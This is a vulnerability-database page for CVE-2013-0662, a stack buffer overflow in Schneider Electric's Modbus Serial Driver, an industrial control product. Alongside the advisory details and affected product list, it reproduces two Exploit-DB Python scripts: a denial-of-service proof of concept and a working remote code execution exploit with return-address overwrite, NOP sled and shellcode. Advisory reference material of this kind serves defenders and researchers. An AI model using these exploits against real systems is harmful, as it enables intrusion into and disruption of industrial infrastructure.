CVE-2013-0662 : Detail

CVE-2013-0662

Overflow
64.74%V3
Network
2014-03-28
18h00 +00:00
2018-08-22
07h57 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Multiple stack-based buffer overflows in ModbusDrv.exe in Schneider Electric Modbus Serial Driver 1.10 through 3.2 allow remote attackers to execute arbitrary code via a large buffer-size value in a Modbus Application Header.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-787 Out-of-bounds Write
The product writes data past the end, or before the beginning, of the intended buffer.

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 45219

Publication date : 2018-08-19 22h00 +00:00
Author : Alejandro Parodi
EDB Verified : No

# Title: SEIG Modbus 3.4 - Denial of Service (PoC) # Author: Alejandro Parodi # Date: 2018-08-17 # Vendor Homepage: https://www.schneider-electric.com # Software Link: https://github.com/hdbreaker/Ricnar-Exploit-Solutions/tree/master/Medium/CVE-2013-0662-SEIG-Modbus-Driver-v3.34/VERSION%203.4 # Version: v3.4 # Tested on: Windows7 x86 # CVE: CVE-2013-0662 # References: # https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0662 import socket import struct import time ip = "192.168.127.137" port = 27700 con = (ip, port) header_padding = "\x00\xAA" header_buffer_size = "\xFF\xFF" header_recv_len = "\x08\xDD" #(header_buffer_size + 1 en el ultimo byte por que se le resta uno) header_end = "\xFF" header = header_padding + header_buffer_size + header_recv_len + header_end message = "\x00\x64" + "A" * 2267 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(con) s.send(header) s.send(message)
Exploit Database EDB-ID : 45220

Publication date : 2018-08-19 22h00 +00:00
Author : Alejandro Parodi
EDB Verified : No

# Title: SEIG Modbus 3.4 - Remote Code Execution # Author: Alejandro Parodi # Date: 2018-08-17 # Vendor Homepage: https://www.schneider-electric.com # Software Link: https://github.com/hdbreaker/Ricnar-Exploit-Solutions/tree/master/Medium/CVE-2013-0662-SEIG-Modbus-Driver-v3.34/VERSION%203.4 # Version: v3.4 # Tested on: Windows XP SP3 # CVE: CVE-2013-0662 # References: # https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2013-0662 import socket import struct ip = "192.168.127.138" port = 27700 con = (ip, port) ####### MESSAGE ########## message_header = "\x00\x64" message_buffer = "A" * 0x5dc eip = struct.pack("<I", 0x7C9C167D) # Shellcode generated with: # msfvenom -a x86 --platform windows -p windows/exec cmd=calc -e x86/xor_call4 -f python # Shellcode Size: 189 bytes nopsleed = "\x90" * 100 # \x90 bad char bypass shellcode = "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b" shellcode += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7" shellcode += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf" shellcode += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c" shellcode += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01" shellcode += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31" shellcode += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d" shellcode += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66" shellcode += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0" shellcode += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f" shellcode += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x6a\x01\x8d\x85\xb2\x00" shellcode += "\x00\x00\x50\x68\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5" shellcode += "\xa2\x56\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a" shellcode += "\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53" shellcode += "\xff\xd5\x63\x61\x6c\x63\x00" message = message_header + message_buffer + eip + nopsleed + shellcode print "Message Len: " + hex(len(message)) + " bytes" ########################## ######## PKG HEADER ###### header_padding = "\x42\x42" header_buf_size = "\xFF\xFF" header_recv_len = struct.pack(">H", len(message)) header_end = "\x44" header = header_padding + header_buf_size + header_recv_len + header_end ########################## ######## CRAFTING PAYLOAD ######## payload = header + message print "Package Len: "+hex(len(payload)) + " bytes" ################################## s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(con) s.send(payload)

Products Mentioned

Configuraton 0

Schneider-electric>>Concept >> Version To (including) 2.6

Schneider-electric>>Modbus_serial_driver >> Version 1.10

Schneider-electric>>Modbus_serial_driver >> Version 2.2

Schneider-electric>>Modbus_serial_driver >> Version 3.2

Schneider-electric>>Modbuscommdtm_sl >> Version To (including) 2.1.2

Schneider-electric>>Opc_factory_server >> Version To (including) 3.5.0

Schneider-electric>>Opc_factory_server >> Version 3.34

Schneider-electric>>Opc_factory_server >> Version 3.35

Schneider-electric>>Pl7 >> Version To (including) 4.5

Schneider-electric>>Powersuite >> Version To (including) 2.6

Schneider-electric>>Sft2841 >> Version To (including) 14.0

Schneider-electric>>Sft2841 >> Version 13.1

Schneider-electric>>Somachine >> Version To (including) 3.1

Schneider-electric>>Somachine >> Version 2.0

Schneider-electric>>Somachine >> Version 3.0

Schneider-electric>>Somove >> Version To (including) 1.7

Schneider-electric>>Twidosuite >> Version To (including) 2.31.04

Schneider-electric>>Unity_pro >> Version To (including) 7.0

Schneider-electric>>Unity_pro >> Version 6.0

Schneider-electric>>Unityloader >> Version To (including) 2.3

Schneider_electric>>Somachine >> Version 3.0

    References

    https://www.exploit-db.com/exploits/45219/
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://www.securityfocus.com/bid/66500
    Tags : vdb-entry, x_refsource_BID
    https://www.exploit-db.com/exploits/45220/
    Tags : exploit, x_refsource_EXPLOIT-DB